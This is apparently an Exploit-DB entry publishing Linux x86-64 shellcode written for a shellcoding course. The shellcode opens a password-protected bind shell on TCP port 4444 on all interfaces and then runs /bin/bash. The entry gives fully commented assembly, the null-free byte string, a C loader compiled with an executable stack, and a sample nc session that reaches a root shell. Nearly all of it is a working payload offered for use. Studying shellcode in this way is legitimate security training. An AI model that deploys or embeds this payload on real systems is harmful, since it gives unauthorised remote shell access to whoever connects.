Linux/x64 - Bind (0.0.0.0:4444/TCP) Shell (/bin/bash) + Password (P3WP3Wl4ZerZ) + Null-free Shellcode (272 Bytes)

EDB-ID:

48379

CVE:

N/A


Author:

boku


Platform:

Linux_x86-64

Date:

2020-04-24


## Exploit Title: Linux/x64 - Password Protected Bindshell + Null-free Shellcode (272 Bytes)
## Exploit Author: Bobby Cooke
## Date: 2020-04-23
## Tested on: Linux x86_64 SMP Debian 5.3.15-1kali1
## SLAE/Student ID: PA-10913
## Course: This shellcode was created for the x86_64 Assembly Language and Shellcoding on Linux (SLAE64) Course offered at pentesteracademy.com.
## Description: Dynamic, Null-free shellcode that spawns a bindshell on TCP port 4444; on all the network interfaces of the host. The bindshell is password protected. The password 'P3WP3Wl4ZerZ' must be entered before execve will spawn a bash shell for the connecting client.
## Example:
#    user$ nc 127.0.0.1 4444
#    M@G1C WOrDz IZ??asd
#    REALLY?!M@G1C WOrDz IZ??P3WP3Wl4ZerZ
#    id
#    uid=0(root) gid=0(root) groups=0(root)

; int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
; rax = 0x29               ; rdi = 0x2  = AF_INET
; rsi = 0x1  = SOCK_STREAM ; rdx = 0x0  = IPPROTO_IP
xor rsi, rsi   ; clear rsi
mul rsi        ; clear rax, rdx ; rdx = 0x0 = IPPROTO_IP
add al, 0x29   ; rax = 0x29 = socket syscall
inc rsi        ; rsi = 0x1 = SOCK_STREAM
push rsi
pop rdi        ; rdi = 0x1
inc rdi        ; rdi = 0x2 = AF_INET
syscall        ; socket syscall ; RAX returns socket File-Descriptor

; bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr)); 
; rax = 0x31               ; rdi = 0x3  =  ipv4Socket
; rsi = &ipSocketAddr      ; rdi = 0x10
;          02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
; Address-Family| PORT| IP Address| 8 bytes of zeros
xchg rdi, rax    ; RDI = sockfd / ipv4Socket
xor rax, rax
add al, 0x31     ; rax = 0x31 = socket syscall
push rdx         ; 8 bytes of zeros for second half of struct
push dx          ; 4 bytes of zeros for IPADDR_ANY
push dx          ; 4 bytes of zeros for IPADDR_ANY
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx          ; rdx = 0x2 ; dx = 0x0002
push dx          ; 0x2 = AF_INET
add dl, 0xe      ; rdi = 0x10 = sizeof(ipSocketAddr)
mov rsi, rsp     ; rsi = &ipSocketAddr
syscall

; int listen(int sockfd, int backlog);
; rax = 0x32   = listen syscall
; rdi = sockfd = 0x3 = ipv4Socket   ; rsi = backlog = 0
xor rax, rax
add al, 0x32     ; listen syscall
xor rsi, rsi     ; backlog = 0x0
syscall

;accept
; rax = 0x2b ; rdi = sockfd  = 0x3 = ipv4Socket
; rsi = 0x0  ; rdx = 0x0
xor rax, rax
push rax
push rax
pop rdx
pop rsi
add al, 0x2b  ; accept syscall
syscall       ; accept returns client socket file-descriptor in RAX

; dup2
xchg rdi, rax    ; RDI = sockfd / ClientSocketFD
xor rsi, rsi
add dl, 0x3      ; Loop Counter
dup2Loop:
xor rax, rax
add al, 0x21     ; RAX = 0x21 = dup2 systemcall
syscall          ; call dup2 x3 to redirect STDIN STDOUT STDERR
inc rsi
cmp rsi, rdx     ; if 2-STDERR, end loop
jne dup2Loop

jmp short password

failer:
; write
; rax = 0x1     ; rdi = fd = 0x1 STDOUT
; rsi = &String ; rdx = sizeof(String)
; String = "REALLY?!"
;  !?YLLAER : 213f594c4c414552
xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
mov rsi, 0x213f594c4c414552
push rsi
mov rsi, rsp    ; rsi = &String
inc rax         ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 16     ; 16 bytes / size of string
syscall

password:
; write
; rax = 0x1     ; rdi = fd = 0x1 STDOUT
; rsi = &String ; rdx = sizeof(String)
; String = "M@G1C WOrDz IZ??"
;  ??ZI zDr : 3f3f5a49207a4472
;  OW C1G@M : 4f5720433147404d
xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
mov rsi, 0x3f3f5a49207a4472 ; ??ZI zDr
push rsi
mov rsi, 0x4f5720433147404d ; OW C1G@M 
push rsi
mov rsi, rsp    ; rsi = &String
inc rax         ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 16     ; 16 bytes / size of string
syscall

; read
; rax = 0x0 = read syscall ; rdi = fd = 0x0 STDIN
; rsi = Write to &String   ; rdx = 0x12 = sizeof(String)
xor rdi, rdi
push rdi
mul rdi         ; rdx =0x0 ; rax = 0x0 = write system call
mov rsi, rsp    ; rsi = [RSP] = &String
add rdx, 12     ; 12 bytes / size of password
syscall

; String = P3WP3Wl4ZerZ
;  ZreZ : 5a72655a
;  4lW3PW3P : 346c573350573350
mov rdi, rsp
xor rsi, rsi
add rsi, 0x5a72655a
push rsi
mov rsi, 0x346c573350573350
push rsi
mov rsi, rsp    ; rsi = &String
xor rcx, rcx
add rcx, 0xB
repe cmpsb
jnz failer

;execve
; rax = 0x3b ; rdi = Pointer -> "/bin/bash"0x00
; rsi = 0x0  ; rdx = 0x0
; "/bin/bash"
;  h : 68
;  sab/nib/ : 7361622f6e69622f
xor rsi, rsi
mul rsi          ; rdx&rax= 0x0
xor rdi, rdi
push rdi
add rdx, 0x68 ; "h"
push rdx
mov rdx, 0x7361622f6e69622f ; "/bin/bas"
push rdx
xor rdx, rdx
mov rdi, rsp
mov al, 0x3b ; execve syscall
syscall  ; call execve("/bin/bash", NULL, NULL)

################################################################################

// Filename: shellcode.c
// Compile:  gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x48\x31\xf6\x48\xf7\xe6\x04\x29\x48\xff\xc6\x56\x5f\x48\xff\xc7"
"\x0f\x05\x48\x97\x48\x31\xc0\x04\x31\x52\x66\x52\x66\x52\x66\x68"
"\x11\x5c\x48\xff\xc2\x48\xff\xc2\x66\x52\x80\xc2\x0e\x48\x89\xe6"
"\x0f\x05\x48\x31\xc0\x04\x32\x48\x31\xf6\x0f\x05\x48\x31\xc0\x50"
"\x50\x5a\x5e\x04\x2b\x0f\x05\x48\x97\x48\x31\xf6\x80\xc2\x03\x48"
"\x31\xc0\x04\x21\x0f\x05\x48\xff\xc6\x48\x39\xd6\x75\xf1\xeb\x23"
"\x48\x31\xff\x48\xf7\xe7\x57\x5e\x56\x48\xbe\x52\x45\x41\x4c\x4c"
"\x59\x3f\x21\x56\x48\x89\xe6\x48\xff\xc0\x48\x89\xc7\x48\x83\xc2"
"\x10\x0f\x05\x48\x31\xff\x48\xf7\xe7\x57\x5e\x56\x48\xbe\x72\x44"
"\x7a\x20\x49\x5a\x3f\x3f\x56\x48\xbe\x4d\x40\x47\x31\x43\x20\x57"
"\x4f\x56\x48\x89\xe6\x48\xff\xc0\x48\x89\xc7\x48\x83\xc2\x10\x0f"
"\x05\x48\x31\xff\x57\x48\xf7\xe7\x48\x89\xe6\x48\x83\xc2\x0c\x0f"
"\x05\x48\x89\xe7\x48\x31\xf6\x48\x81\xc6\x5a\x65\x72\x5a\x56\x48"
"\xbe\x50\x33\x57\x50\x33\x57\x6c\x34\x56\x48\x89\xe6\x48\x31\xc9"
"\x48\x83\xc1\x0b\xf3\xa6\x0f\x85\x74\xff\xff\xff\x48\x31\xf6\x48"
"\xf7\xe6\x48\x31\xff\x57\x48\x83\xc2\x68\x52\x48\xba\x2f\x62\x69"
"\x6e\x2f\x62\x61\x73\x52\x48\x31\xd2\x48\x89\xe7\xb0\x3b\x0f\x05";
int main()
{
    printf("Shellcode Length:  %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}